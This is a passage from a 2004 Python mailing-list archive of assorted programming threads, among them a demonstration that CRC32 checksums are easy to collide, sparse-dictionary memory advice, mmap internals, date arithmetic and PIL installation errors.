ran the program to test it and of course as a result the *.pyc files were > created. Since everything was running fine I gave the *.pyc files (not the > source) to a friend of mine. He put it in his home dir and executed the > program. Then there was an error because some of the modules tried to import > the others with absolute path "/usr/local/myproject/*.pyc) which did not > exists on my friend's machine. > To get more clarification I searched for the absolute path in my local *.pyc > files (grep -a "/usr/local/myproject" *.pyc) and indeed there were a lot of > matching lines. > How can I make Python create *.pyc files without absolute path when all the > modules (besides built-in like "string", "os" etc. ) are in the same dir ? The builtin compile function can do that. Thomas From tim.peters at gmail.com Sat Sep 11 01:17:47 2004 From: tim.peters at gmail.com (Tim Peters) Date: Sat, 11 Sep 2004 01:17:47 -0400 Subject: Shorter checksum than MD5 In-Reply-To: <9418be08.0409100656.516fef2d@posting.google.com> References: <7xfz5rn1w2.fsf@ruckus.brouhaha.com> <7xllfjfe9m.fsf@ruckus.brouhaha.com> <9418be08.0409100656.516fef2d@posting.google.com> Message-ID: <1f7befae04091022177fe7c7f@mail.gmail.com> [Paul Rubin] >> ... >> Also, with CRC32, it's very easy to create a record on purpose that has any >> given checksum. Is THAT a problem? ... [Elbert Lev] > Really? Yup. > If this is "very easy" please modify the string to have the same CRC32: I will, but I'm going to lecture first . CRC algorithms were designed to catch common (especially in older days) kinds of transmission corruption, not to resist attacks. CRC wants to guard against things like single-bit inversions, double-bit inversions, and bursts of zero or one bits. There are physical causes for those kinds of corruption. Now suppose your messages were big integers instead of strings. A decent checksum algorithm would be to send, along with your big integer N, its remainder modulo a fixed prime P. For concreteness, say P is 1003. Then def pseudocrc(N): return N % 1003 That will catch many kinds of corruption. But it's dead easy to fool if you want to! For any given "message" N, the set of messages with the same pseudocrc is exactly the set of all integers of the form N+P*i for some integer i. Given N, it's not only easy to find *a* distinct message with the same pseudocrc, it's easy to find *all* messages with the same pseudocrc. Now "real" CRCs have essentially the same story! They use a different form of arithmetic ("binary polynomials", informally speaking), but it's the same thing: within that arithmetic, the CRC of a string is just the remainder of the string (viewed as a polynomial) modulo a fixed polynomial P. Real CRC algorithms are more complicated than just that, playing goofy but shallow tricks with bit inversions and byte reversals, and playing seriously cool tricks with optimization. That can make it hard to read a chunk of CRC code and realize what it's doing. Still, at heart, it's just computing a remainder. To show a string with the same CRC as yours above, we need some utility functions first: import binascii # View a string as a giant base-256 integer, and return the latter. def str2long(s): h = binascii.hexlify(s) return long(h, 16) # View a long as a base-256 integer, and return the string. # This is str2long's inverse. def long2str(n): h = hex(n) assert h.startswith('0x') h = h[2:] if h.endswith('L'): h = h[:-1] if len(h) & 1: h = '0' + h return binascii.unhexlify(h) # Compute binascii.crc32 on string s with given salt, # and return as a hex string. def crc(s, salt): return hex(binascii.crc32(s, salt)) If you don't like binascii.crc32 (there are many CRC polynomials in use), you'll have to figure out a different P. For binascii.crc32, the magic value is P = 0x196300777 Now a driver function: # Compute the crc (with given salt) on s, and on s again # after xor'ing toxor into it. def checkit(s, toxor, salt=0): t = long2str(str2long(s) ^ toxor) print repr(s) print repr(t) print crc(s, salt), crc(t, salt) and your string: s = "The probability of the changed dada having the same CRC32 is 1/2**32" Let's try it: >>> checkit(s, 0) 'The probability of the changed dada having the same CRC32 is 1/2**32' 'The probability of the changed dada having the same CRC32 is 1/2**32' 0x5a91f29 0x5a91f29 That's not amazing, because xor'ing 0 into your string didn't change it . But xor'ing P into s doesn't change the crc either: >>> checkit(s, P) 'The probability of the changed dada having the same CRC32 is 1/2**32' 'The probability of the changed dada having the same CRC32 is 1/3\xbc\x1a4E' 0x5a91f29 0x5a91f29 More, xor'ing in "multiples" of P also don't change the crc. The underlying arithmetic uses xor instead of addition, and for obscure technical reasons (having to do with details of the binascii.crc32 implementation) we have to restrict shift counts to multiples of 8. So I'll pick one out of my hat: >>> checkit(s, P<<304 ^ P<<296 ^ P<<128 ^ P<<64) 'The probability of the changed dada having the same CRC32 is 1/2**32' "The probability of the chao\xf0\xc3SP\x13ada having the s`\xfbU'4RC33\xb6\x10n\x04 1/2**32" 0x5a91f29 0x5a91f29 And so on -- we can systematically generate an unbounded number of distinct strings with the same crc as your string. > ... > To make the task even easier, I will not give you the "salt" value :) Surprise again: that doesn't make any difference. The pairs of strings above have the same crc for all salt values -- adding a salt doesn't do any more good for CRCs than adding this to our pseudocrc function: def pseudocrc(N, salt): return (N + salt) % 1003 That is, it just shifts the result by a constant, and so has no effect on which pairs of integers map to the same checksum. One concrete example: >>> checkit(s, P, 0x12345678) 'The probability of the changed dada having the same CRC32 is 1/2**32' 'The probability of the changed dada having the same CRC32 is 1/3\xbc\x1a4E' 0x75a90579 0x75a90579 The real purpose of a CRC salt (it doesn't, and can't, improve "security") is to let you compute a CRC of a very large blob of data in chunks, feeding the result of one chunk to the next crc(chunk) call as "the salt". From darren at coolpink.net Tue Sep 28 22:07:37 2004 From: darren at coolpink.net (darren at coolpink.net) Date: 29 Sep 2004 02:07:37 -0000 Subject: ANN: Scimitar 0.9.0 Message-ID: <20040929020737.5334.qmail@ws2.coolpink.net> Sorry, but I am out of the office on Monday 27th September until Monday 11th October 2004. I will respond to your e-mail when I return If you need technical support please contact simonh at coolpink.net or mazen at coolpink.net For any other enquiries please call the office on (0113) 272 3191 Thanks for your e-mail. From clifford.wells at comcast.net Thu Sep 23 22:09:40 2004 From: clifford.wells at comcast.net (Cliff Wells) Date: Thu, 23 Sep 2004 19:09:40 -0700 Subject: Don't let your babies grow up to be programmers (was: up with PyGUI!) In-Reply-To: References: <1095378815.31957.166.camel@devilbox.devilnet.internal> Message-ID: <1095991780.31957.652.camel@devilbox.devilnet.internal> On Thu, 2004-09-23 at 14:08 +0000, Cameron Laird wrote: > It's worse than that, Cliff: there's serious reason to fear > that non-price factors might soon work *against* us in the US, > almost as much as they have for us in the past. I see this > running along a couple of lines: > *) "security"-related and DRM-IP-enforcing > export restrictions directly interfere > with our ability to deliver internation- > ally; and This is actually a reason to change countries rather than lines of work. The current state of affairs wrt IP in the U.S. is sickening. Of course, no matter where you go, there's always something that makes you want to move somewhere else. And if there isn't today, there will be tomorrow. > *) MS hasn't been alone in habituating > international customers to associate US > software with expense and unreliability. Hey, let's not get personal . -- Cliff Wells From dieter at handshake.de Fri Sep 3 14:20:37 2004 From: dieter at handshake.de (Dieter Maurer) Date: 03 Sep 2004 20:20:37 +0200 Subject: [Q] Bug in cgi.FieldStorage? References: Message-ID: "Ames Andreas (MPA/DF)" writes on Mon, 23 Aug 2004 19:15:11 +0200: > ... > >>if fs: > ... > > What question do you intuitively expect that statement to be asking? > > class Request: > def __init__(self, fs = None) > if fs: > self._fs = fs > else: > self._fs = FieldStorage(...) This definitely should become: ... if fs is not None: self._fs = fs Dieter From michele.simionato at gmail.com Fri Sep 17 04:46:42 2004 From: michele.simionato at gmail.com (Michele Simionato) Date: 17 Sep 2004 01:46:42 -0700 Subject: permission problem with os.setuid Message-ID: <4edc17eb.0409170046.1fe1d2d9@posting.google.com> I have a script that sometimes is run by myself (user id 501) and sometimes by the mailer program as nobody/nogroup (userid 65534). I would like to change the effective uid to 501 in any case, to get the right permissions, but os.setuid and os.seteuid give me a OSError No. 1. Is there a way to get what I want? My requirement is that the script should work indipendently from the mailer program, i.e I would like to avoid configuring the mailer program by hand. I am working on linux with postfix on Mandrake and exim4 on Debian. Any suggestion? Michele Simionato From fumanchu at amor.org Thu Sep 30 19:16:17 2004 From: fumanchu at amor.org (Robert Brewer) Date: Thu, 30 Sep 2004 16:16:17 -0700 Subject: Day of Year Behaviour Message-ID: <3A81C87DC164034AA4E2DDFE11D258E3022F21@exchange.hqamor.amorhq.net> Hector Villafuerte wrote: > I have 2 fields: > YEAR > DAY_OF_YEAR > > and I need to get the complete date out of this, e.g.: > YEAR=2004 > DAY_OF_YEAR=1 > -> DATE=2004/Jan/1 > > YEAR=2004 > DAY_OF_YEAR=33 > -> DATE=2004/Feb/2 > > I'm using the time module without success: > >>> time.localtime(time.mktime((2004, 0, 0, 0, 0, 0, 0, 1, 0))) > (2003, 11, 30, 0, 0, 0, 6, 334, 0) One way to do it: >>> import datetime >>> YEAR = 2004 >>> DAY_OF_YEAR = 33 >>> d = datetime.date(YEAR, 1, 1) + datetime.timedelta(DAY_OF_YEAR - 1) >>> d datetime.date(2004, 2, 2) Robert Brewer MIS Amor Ministries fumanchu at amor.org From lynn at garlic.com Wed Sep 8 21:22:56 2004 From: lynn at garlic.com (Anne & Lynn Wheeler) Date: Wed, 08 Sep 2004 19:22:56 -0600 Subject: Xah Lee's Unixism References: <413c5b9c$0$19705$61fed72c@news.rcn.com> <1s4ihc.4i4.ln@via.reistad.priv.no> Message-ID: Morten Reistad writes: > Since I am on a roll with timelines; just one off the top of my head : > > Project start : 1964 > First link : 1969 > Transatlantic : 1972 (to Britain and Norway) > Congested : 1976 > TCP/IP : 1983 (the effort started 1979) (sort of a 2.0 version) > First ISP : 1983 (uunet, EUnet followed next year) > Nework Separation : 1983 (milnet broke out) > Large-scale design: 1987 (NSFnet, but still only T3/T1's) > Fully commercial : 1991 (WIth the "CIX War") > Web launced : 1992 > Web got momentum : 1994 > Dotcom bubble : 1999 (but it provided enough bandwith for the first time) > Dotcom burst : 2001 nsfnet1 backbone RFP http://www.garlic.com/~lynn/2002k.html#12 misc. reference to award announcement http://www.garlic.com/~lynn/2000e.html#10 was for backbone between regional locations ... it was suppose to be T1 links. What was installed was IDNX boxes that supported point-to-point T1 links between sites ... and multiplexed 440kbit links supported by racks & racks of PC/RTs with 440kbit boards ... at the backbone centers. the t3 upgrades came with the nsfnet2 backbone RFP my wife and i somewhat got to be the red team design for both nsfnet1 and nsfnet2 RFPs. note that there was commercial internetworking protocol use long before 1991 ... in part evidence the heavy commercial turn-out at interop '88 http://www.garlic.com/~lynn/subnetwork.html#interop88 the issue leading up to the cix war was somewhat whether commercial traffic could be carried over the nsf funded backbone .... the internetworking protocol enabling the interconnection and heterogenous interoperability of large numbers of different "internet" networks. part of the issue was that increasing commercial use was starting to bring down the costs (volume use) .... so that a purely nsfnet operation was becomming less and less economically justified (the cost for a nsfnet only operation was more costly and less service than what was starting to show up in the commercial side). part of the issue was that there was significant dark fiber in the ground by the early 80s and the telcos were faced with a significant dilemma .... if the dropped the bandwidth price by a factor of 20 and/or offerred up 20 times the bandwidth at the same cost .... it was be years before the applications were availability to drive the bandwdith costs to the point where they were taking in sufficient funds to cover their fixed operating costs. so some of the things you saw happening were controlled bandwidth donations (in excess of what might be found covered by gov. RFPs) to educational institutions by large commercial institutions .... for strictly non-commercial use Such enourmous increases in bandwidth availability in a controlled manner for the educational market would hopefully promote the development of bandwidth hungry applications. They (supposedly) got tax-deduction for their educational-only donations .... and it wouldn't be made available for the commercial paying customers. -- Anne & Lynn Wheeler | http://www.garlic.com/~lynn/ From kjetilho at yksi.ifi.uio.no Wed Sep 15 04:25:08 2004 From: kjetilho at yksi.ifi.uio.no (Kjetil Torgrim Homme) Date: Wed, 15 Sep 2004 10:25:08 +0200 Subject: Ranting about the state of Python IDEs for Windows References: <864d3709040913131077f1732d@mail.gmail.com> <96c2e938.0409141356.3a689f@posting.google.com> Message-ID: <1r3c1k547v.fsf@rovereto.ifi.uio.no> [Carlos Ribeiro]: > > I've once installed a freeware app that supported virtual desktops > in Windows. It's useful, but it misses one feature of my wish > list: persistence, or the ability to restart working exactly when > I left things some time later. this might be nice, but is it really worthwhile? I only restart my session a couple a times per year, and I'm not sure it is a good idea to recreate the clutter of windows when I log back in. sometimes going back to a clean slate is healthy. most of the applications I use _do_ have session support, but I haven't enabled it. -- Kjetil T. (speaking from a Unix viewpoint) From aleaxit at yahoo.com Sat Sep 11 02:13:36 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sat, 11 Sep 2004 08:13:36 +0200 Subject: string formatting with mapping & '*'... is this a bug? References: <20040909140649.6d2eff6e@gypsy.pfortin.com> <20040909152328.2233c917@gypsy.pfortin.com> <1gjvffn.1bzib2wjohb3aN%aleaxit@yahoo.com> <20040909183705.69696290@gypsy.pfortin.com> <1gjw1ih.2x26851nz2m54N%aleaxit@yahoo.com> <20040910064659.7a1c66af@gypsy.pfortin.com> <1gjwfl1.i046071x80ul9N%aleaxit@yahoo.com> <20040910093156.4cfcb6ff@gypsy.pfortin.com> <1gjwo5q.meek2hr5madpN%aleaxit@yahoo.com> <20040910114048.4c68a21c@gypsy.pfortin.com> <20040910204917.54b24e15@gypsy.pfortin.com> Message-ID: <1gjxvvk.hh2u6b1g421pcN%aleaxit@yahoo.com> Pierre Fortin wrote: > On Fri, 10 Sep 2004 11:40:48 -0400 I responded to Alex: > > > On Fri, 10 Sep 2004 16:34:31 +0200 Alex wrote: > > > Come to think of that, you SHOULD hoist the "real format" out of the > > > loop, > > > > That's a given in my book... :> > > SHEESH!!! Just now dawned on me what you really meant... > > # hoist *this* part of the formatting code...! > format = ( "%(Date)ss %(Open)sf %(High)sf %(Low)sf " > "%(Close)sf %(Volume)sd %(AdjClose)sf %(Change)ss" > % fmt ) > > for ...: > ... > print format % map > > At least I'm getting it... :> Yep, that's exactly what I meant. Alex From jerf at jerf.org Sun Sep 5 22:10:38 2004 From: jerf at jerf.org (Jeremy Bowers) Date: Mon, 06 Sep 2004 02:10:38 GMT Subject: compiling to python byte codes References: <4136b2b5$1@news.unimelb.edu.au> <4136bbf3$0$197$9b622d9e@news.freenet.de> <6f402501.0409020321.44fd443@posting.google.com> <41375f6a$0$13076$9b622d9e@news.freenet.de> <4137a850$1@news.unimelb.edu.au> <4137bf73$1@news.unimelb.edu.au> <4137e739$1@news.unimelb.edu.au> <4137f79f$1@news.unimelb.edu.au> <4138207f$0$182$9b622d9e@news.freenet.de> <413b9f57$1@news.unimelb.edu.au> Message-ID: On Sun, 05 Sep 2004 23:20:59 +0000, Maurice LING wrote: >> >> In your situation, I can promise you that it is *faster* to take the time >> to learn about this stuff correctly then to try to power through it >> without learning; it is one of those places in computer technology >> where there are such powerful tools to help you that it is better to >> learn how to use them then to kludge through. Unfortunately, it is too >> large a topic to cover in a Usenet posting. > > I realised that there are powerful tools such as lex and yacc around > that can save me a lot of time. I'll be using PLY for my purpose. That helps. > I can only have the self-study options and good books on compiler > construction are rare. I am a molecular biologist by professional > training. There are things that are tough for me to understand and to > just find the answer about stacks vs register computers will take ages, > and I always appreciate people who do not treat me as an idiot. I'm sure > there are much more idiotic questions being asked in newsgroups. I'm not sure if you feel I'm treating you as an idiot, or if you mean that literally. Regardless, it isn't my intent. It is challenging because we end up unable to share vocabulary. > >> >> Stepping up a level, are you sure you can't just implement a C or Python >> library and let people write their own programs in Python? You'll never be >> able to match Python-the-language's feature set. > > What I'm doing is a special-purpose language (for modelling purposes). OK, makes sense. Now that you say you are using PLY, that at least gives us a common frame of reference with code. Take a look at the calc.py file that should have been included with your PLY distribution. It implements a simple calculator interpreter. It is an "interpreter" because as it encounters the input, it is dynamically executing it. A "compiler" would actually just store it as a tree, then later output it into some other format without execution, which is what a C++ compiler does, outputting the opcodes for the CPU. Because of that extra step in the middle, "building a tree", a compiler is typically harder to write than an interpreter. Getting the output right can also be tricky, and a challenge to debug. Thus, in terms of PLY, my suggestion has been to write an interpreter, like calc.py, not a compiler. Unfortunately, like I said earlier, control flow can be a pain, because you can't execute directly like calc.py does. You want something else, though, that builds something and then executes it later. From aleaxit at yahoo.com Wed Sep 8 03:16:04 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 8 Sep 2004 09:16:04 +0200 Subject: Memory Error while constructing Compound Dictionary References: <1gjroty.tp0ndj1vwu3e7N%aleaxit@yahoo.com> Message-ID: <1gjsdx2.1lgzuy615te7wtN%aleaxit@yahoo.com> Jeremy Bowers wrote: ... > Based on these numbers, aren't the majority of your lists empty? In that > case, key off of a tuple as you need them. For some "factory", "date", > "widget" and "whatever" (the data, which you don't specify): > > Dict[(factory, date, widget)].setdefault([]).append(whatever) Well, he does specify a '1' as the datum, which is why I suggested keeping the matrix dense (minimal change to his program) and just using numbers instead of lists (he only needs the length of the lists, he might as well be keeping the counts differently). But, yes, indexing with the tuple would probably cut down memory consumption further, since he's got no more than a million entries; each entry may take a few tens of bytes (if it needs to uniquely keep a tuple and the strings in it) so his memory consumption would plummet. Also, he would save the long initialization phase entirely. The parentheses are not needed, and for the "keeping counts" approach he should be updating the counts with: Dict[factory, date, widget] = 1 + Dict.get((factory, date, widget), 0) Also, Dict.get((factory, date, widget), 0) is what he would be using to check his Dict at the end. It's no doubt worth making this prettier...: class SparseMatrix(dict): def __getitem__(self, key): return self.get(key, 0) so the update becomes: Dict[factory, date, widget] += 1 and the check at the end just Dict[factory, date, widget]. > (You may actually benefit from changing the setdefault around to some > "try"-based scheme; you'd have to benchmark the various choices if it > matters to you. Also, depending on your data, consider Psyco.) If you're trying to SAVE memory, do NOT, repeat NOT, consider Psyco, which eats it for breakfast;-). > No extra memory. Some potentially significant slowdown due to tuple > construction and empty list construction. Nah, he's saving 125 M operations at initialization, and doing at most about 1M updates, no way this will slow things down. But then it appears he doesn't need the lists. > (Depending on what you are doing, C++ and the STL can be not *that* much > harder to program in, and it should support hash tables with tuple keys, > although I don't know the magic incantations off the top of my head. If I doubt they'll beat Python dict's, which are a wonder of speed. > you're just adding some numbers or something, this is also likely to be > enough faster that it may even be faster to develop in, since the program > will almost certainly execute much, much faster, potentially making the I think you're wrong here. C++ in terms of standard only has order-based containers, whose performance just can't compare to hash tables. I do believe the STL, which has been evolving independently from C++ for many years now, has added hash tables (and surely you can find good ones on www.boost.org, you can find EVERYTHING there and if you're programming in C++ it should be your second home). > Actually, you probably should go to a database now; these problems have a > habit of doubling or tripling in size when someone decides it'd be neat to > add Just One More attribute and you already pretty much can't afford that.) With a tuple-indexed SparseMatrix of numbers, his program will be taking up a tiny fraction of the memory it's burning now, and he will have room to spare for enhancements. And adding an attribute will cost little, say a few tens of megabytes if he has a million entries and the new attribute is typically a string a few tens of bytes long. Relational databases are cool because you can make impromptu queries (if you speak SQL) and with clever indexing the cost of reading in the dataset is only paid once. But for his problem as stated he may well be happier staying in Python and just using the tricks suggested in these posts. Suppose he did need lists and mere counts would not do. A fuller Null Object DP can help. E.g., consider: In [5]: class Nullo: ...: def __iadd__(self, wot): return wot ...: def __len__(self): return 0 ...: def __iter__(self): return iter(()) ...: In [6]: na = Nullo() In [7]: alist = [na] * 33 In [8]: alist[7] += [23] In [9]: alist[7] += [45] In [10]: alist[12] += [3] In [12]: [(i,x) for i,x in enumerate(alist) if x] Out[12]: [(7, [23, 45]), (12, [3])] Some might consider this an abuse of __iadd__ (shouldn't it "always" return self?!) but I consider it a case of "practicality beats purity". Use one (ONE) instance of this Nullo class as the default object returned by the above-shown class SparseMatrix, and you have a sparse matrix of "lists" (most of them are that one Nullo instance, which behaves, ducktyping-like, as an empty list, for the requested uses; the non-empty ones are bona fide lists)... Alex From max at alcyone.com Tue Sep 7 02:07:03 2004 From: max at alcyone.com (Erik Max Francis) Date: Mon, 06 Sep 2004 23:07:03 -0700 Subject: Anyone know anything named DX? (was Re: Announcing PyCs) (was:Announcing PyCs, a new Python-like language on .Net) References: <20040901221925.2128958333.EP@zomething.com> Message-ID: <413D5007.3F07CE2F@alcyone.com> Mark Hahn wrote: > Does anyone know of any conflicts for DX? Any existing software > projects? > Any languages? I know all about all the ham radio stuff but I assume > that > is a non-issue. Did Google stop working suddenly? -- __ Erik Max Francis && max at alcyone.com && http://www.alcyone.com/max/ / \ San Jose, CA, USA && 37 20 N 121 53 W && AIM erikmaxfrancis \__/ Love is when you wake up in the morning and have a big smile. -- Anggun From fredrik at pythonware.com Mon Sep 6 16:07:28 2004 From: fredrik at pythonware.com (Fredrik Lundh) Date: Mon, 6 Sep 2004 22:07:28 +0200 Subject: PIL - ImageGrab - ImportError: The _imaging C module is notinstalled References: Message-ID: Askari wrote: > I have this error when I want snashot of my screen with : > > ImportError: The _imaging C module is not installed your PIL installation is broken. to figure out how, see this page: http://effbot.org/zone/pil-imaging-not-installed.htm From jerf at jerf.org Mon Sep 20 15:00:47 2004 From: jerf at jerf.org (Jeremy Bowers) Date: Mon, 20 Sep 2004 19:00:47 GMT Subject: Using isA and getA in a python way References: Message-ID: On Mon, 20 Sep 2004 13:31:44 +0100, C Gillespie wrote: > Dear All, > > I have long list of if statements in the form of: > > if obj.isA(): return obj.getA() > if obj.isB(): return obj.getB() > if obj.isC(): return obj.getC() > if obj.isD(): return obj.getD() > This represents some concept in your mind. You don't tell us what it is, but for example your concept might be "serialize": if obj.isA(): return obj.serializeAsA() if obj.isB(): return obj.serializeAsB() Or any number of other things. > Is there a nicer way of doing this, perhap going through the list > ['A','B','C',.. For each of those obj types, assuming you control the class (which seems likely), add a method that represents the *concept* you have in your head, using that concept to name the method. This may take practice, and there are a number of "code smells" (Google the term) that are associated with this; the biggest one is that the harder it is to give the concept a name, the more likely it is that your design needs more thinking. (This is not an absolute.) Then, your sequence boils down to obj.get() or in my example, obj.serialize() Note that this new method is *in addition to* your current methods; "getA" means something, and this new method on the class means something else, even if it happens to be implemented in the same way and consist of "return self.getA()" for the A object. If you give more details, people may be able to provide more specific help. From gumuz at NO_looze_SPAM.net Mon Sep 13 10:30:15 2004 From: gumuz at NO_looze_SPAM.net (Guyon Morée) Date: Mon, 13 Sep 2004 16:30:15 +0200 Subject: Annotatable Python docs -- now a reality !!! References: Message-ID: <4145b657$0$284$4d4ebb8e@news.nl.uu.net> oooow man, i was working on this same thing since I was told: "do it yourself then!". but anyway, i had kinda the same idea using javascript to update a frame, but not in a wiki form... "Stephen Ferg" wrote in message news:b16e4ef7.0409130445.294ced1f at posting.google.com... > Andrew Kuchling has just posted this (see below) on his blog. > > I'm confident that people will use this, if they know it is available. > So now is the time to get the word out. This is something everyone in > the Python community should know about it. > > ================================================== > from http://www.amk.ca/diary/archives/cat_python.html#003336 > > September 09, 2004 > > Annotatable Python docs > > In recent months several posters on comp.lang.python have suggested > that Python would benefit from making it possible for people to > comment on the documentation, an approach similar to the PHP docs. > However, no one has ever actually tried to set up such a system. > > In a half-hour hack, I wrapped a frameset around the Python 2.3.4 > documentation, added some JavaScript that updates another frame to > display a Wiki page for the documentation page you're viewing, and > simplified the Wiki pages as much as I easily could. > > The resulting annotatable documentation is at > http://pydoc.amk.ca/frame.html. Please go and add any commentary, > links, or other material you wish. Let's see if commenting on the docs > is a feature people will use, or if it's a feature people just say > they'll use. From helten0007 at yahoo.com Wed Sep 29 05:25:39 2004 From: helten0007 at yahoo.com (Peter Hansen) Date: Wed, 29 Sep 2004 11:25:39 +0200 Subject: Program that can find a find a file for you ? Message-ID: <415a7f87$0$13730$ba624c82@nntp03.dk.telia.net> Greetings. Im trying to write a program that can be run from the command line. If I want to search for example after a file with the ending .pdf, I should be able to write in the command line: python name of my program / the libary to search and what kind of file it is example a .pdf file So if my program name was test.py and the library name was library1 and the test type i wanted to find was, a .pdf file I should write python test.py /library1 .pdf I have to use some of the code below, but im very lost, I know that I have use os, but not quite sure. Does any have any ideas..... Thanks all *** # -*- coding: utf-8 -*- import sys def useArgument(arg): if __name__=="__main__": """ python argtest.py arg1 arg2 arg3 """ if len(sys.argv)!=4: sys.exit("Error, not the right amout of arguments") for arg in sys.argv: useArgument(arg) *** From pfortin at pfortin.com Thu Sep 16 10:14:13 2004 From: pfortin at pfortin.com (Pierre Fortin) Date: Thu, 16 Sep 2004 10:14:13 -0400 Subject: list/tuple to dict... References: <20040915163909.4234ce31@gypsy.pfortin.com> <20040915212023.23b6fe0b@gypsy.pfortin.com> Message-ID: <20040916101413.5d19dd78@gypsy.pfortin.com> On Thu, 16 Sep 2004 12:47:16 +0200 Diez wrote: > > What does zip() have to do with this situation...? > > Uhm - its needed? > > It creates a list of pairs from the two argument lists, and dict() takes > a list of pairs of (key, value) to form a dictionary. Thanks.... I see what was intended now... the example needed to work on a split string, not the one I'd provided... simply running his example failed and I should have read the zip() docs and debugged it... From ThisIsNotMyReal at ddress.com Fri Sep 24 19:28:12 2004 From: ThisIsNotMyReal at ddress.com (Brian) Date: Fri, 24 Sep 2004 23:28:12 GMT Subject: Has anyone gotten pyparallel to work? References: Message-ID: Nevermind. It was easier to swig parapin and use that instead. Brian wrote in news:Xns956EAA3D784ABnonenonecom at 24.93.43.121: > When using this: > > import parallel > p = parallel.Parallel() #open LPT1 > p.setData(0x55) > > > > I get this: > > Traceback (most recent call last): > File "port2.py", line 2, in ? > p = parallel.Parallel() #open LPT1 > File "/usr/lib/python2.3/site-packages/parallel/parallelppdev.py", > line > 175, in __init__ > self._fd = os.open(self.device, os.O_RDWR) > > OSError: [Errno 19] No such device: '/dev/parport0' > > Exception exceptions.AttributeError: "Parallel instance has no > attribute '_fd'" in > ignored > > > > Yet a program I wrote in C has no problem accessing or reading bits > from LPT1. /dev/parport0 exists and is chmoded to 666. Is there some > secret to getting pyparallel to work that I'm missing (besides > brains)? > From remco at tomaatnet.nl Thu Sep 30 04:52:57 2004 From: remco at tomaatnet.nl (Remco Boerma) Date: Thu, 30 Sep 2004 09:52:57 +0100 Subject: cost of creating threads In-Reply-To: References: Message-ID: hi, In the documentation is a short comprehensive list of what server options for handling connections are usefull in what situations. . See chapter 15.1.2 on http://www.cherrypy.org/static/html/tut/node17.html . While you have a tiny server, i would recommend a thread-pool of about 2 to 3 threads. This at least cuts down the time needed for thread creation. Cheers! Remco Ajay wrote: > hi! > > i have an application that runs on a pocket pc. the application has a > server which responds to UDP requests. each request contains the address > of another server (say, server_b). the pocket pc server recieves these UDP > requests and creates an SSL client connection to sercer_b [snip] From piet at cs.uu.nl Thu Sep 30 11:02:10 2004 From: piet at cs.uu.nl (Piet van Oostrum) Date: Thu, 30 Sep 2004 17:02:10 +0200 Subject: multiple instance on Unix References: <52324E76-123E-11D9-B04E-0003938543A0@orthogonsystems.com> <415AF802.1080909@bellsouth.net> <415C05E5.5040108@hotmail.com> Message-ID: >>>>> C Ginger (CG) wrote: CG> I know the approach to creating a lock file has been around a long time but CG> there are certain weaknesses to it. There are a number of race conditions CG> in it. For instance if process A detects the directory isn't there it will CG> attempt to create it. During that same time process B might also not find CG> it there - since A hasn't completed its create yet. Which directory are you talking about? If it is about using a lock file, as your first sentence applies, there isn't a directory to be created. The lock file should be created in an existing directory. If you are talking about the mkdir approach: the processes are only creating the directory with mkdir, not first checking if it exists. And creating the directory is an atomic operation. -- Piet van Oostrum URL: http://www.cs.uu.nl/~piet [PGP] Private email: P.van.Oostrum at hccnet.nl From heikowu at ceosg.de Thu Sep 16 12:56:23 2004 From: heikowu at ceosg.de (Heiko Wundram) Date: Thu, 16 Sep 2004 18:56:23 +0200 Subject: python: ascii read In-Reply-To: <4149B7B3.4000607@po-box.mcgill.ca> References: <1gk7je1.181yr5f1jgu9iaN%aleaxit@yahoo.com> <4149B7B3.4000607@po-box.mcgill.ca> Message-ID: <200409161856.23738.heikowu@ceosg.de> Am Donnerstag, 16. September 2004 17:56 schrieb Brian van den Broek: > But I don't really feel I've a handle on the significance of saying it > maps the file into memory versus reading the file. The naive thought is > that since the data gets into memory, the file must be read. But this > makes me sure I'm missing a distinction in the terminology. Explanations > and pointers for what to read gratefully received. read()ing a file into memory does what it says; it reads the binary data from the disk all at once, and allocates main memory (as needed) to fit all the data there. Memory mapping a file (or device or whatever) means that the virtual memory architecture is involved. What happens here: mmapping a file creates virtual memory pages (just like virtual memory which is put into your paging file), which are registered with the MMU of the processor as being absent initially. Now, when the program tries to access the memory page (pages are some fixed short length, like 4k for most Pentium-style computers), a (page) fault is generated by the MMU, which invokes the operating system's handler for page faults. Now that the operating system sees that a certain page is accessed (from the page address it can deduce the offset in the file that you're trying to access), it loads the corresponding page from disk, and puts it into memory at some position, and alters the pagetable entry in the LDT to be present. Future accesses to the page will take place immediately (without a page fault taking place). Changes in memory are written to disk once the page is flushed (meaning that it gets removed from main memory because there are too few pages available of real main memory). Now, when a page is forcefully flushed (not due to closing the mmap), the operating system marks the pagetable entry in the LDT to be absent again, and the next time the program tries to access this location, a page-fault again takes place, and the OS can load the page from disk. For speed, the operating system allows you to mmap read-only, which means that once a page is discarded, it does not need to be written back to disk (which of course is faster). Some MMUs (IIRC not the Pentium-class MMU) set a dirty bit on the page-table entry once the page has been altered, this can also be used to control whether the page needs to be written back to disk after access. So, basically what you get is load on demand file handling, which is similar to what the paging file (virtual memory file) on win32 does for allround memory. Actually, internally, the architecture to handle mmapped files and virtual memory is the same, and you could think of the swap file as an operating system mmapped file, from which programs can allocate slices through some OS calls (well, actually through the normal malloc/calloc calls). HTH! Heiko. From dave.opstad at agfamonotype.com Mon Sep 13 12:47:31 2004 From: dave.opstad at agfamonotype.com (Dave Opstad) Date: Mon, 13 Sep 2004 09:47:31 -0700 Subject: Python using CLDR? Message-ID: I was at the Unicode Conference last week and heard several good presentations with relevance to Python. In particular, there was a panel discussion on the Common Locale Data Repository: http://www.unicode.org/cldr/ This is an attempt to provide locale data for many different languages and regions (currently 288 locales in 94 languages) in XML, usable by software developers. Does anyone know if there's any effort to make Python's locale and related modules make use of this CLDR data? I did a Google groups search on Python and CLDR but nothing came up. Dave (P.S. A lot of people at the conference had never heard of Python, so I tried to let folks know about it. I wonder if a paper on something like "Unicode and Python" would be of interest for some future conference?) From mynewjunkaccount at hotmail.com Tue Sep 7 23:46:18 2004 From: mynewjunkaccount at hotmail.com (Benjamin Scott) Date: 7 Sep 2004 20:46:18 -0700 Subject: Memory Error while constructing Compound Dictionary References: <1gjroty.tp0ndj1vwu3e7N%aleaxit@yahoo.com> Message-ID: Thanks for the replies. First I will make a minor correction to the code I originally posted and then I will describe the original problem I am trying to solve, per Alex's request. Correction: for s in Lst: for t in nuerLst: for r in nuestLst: Dict[s][t][r]={} ...should actually be... for s in Lst: for t in nuerLst: for r in nuestLst: Dict[s][t][r]=[] That is, the object accessed by 3 keys is a list, not a 4th dictionary. 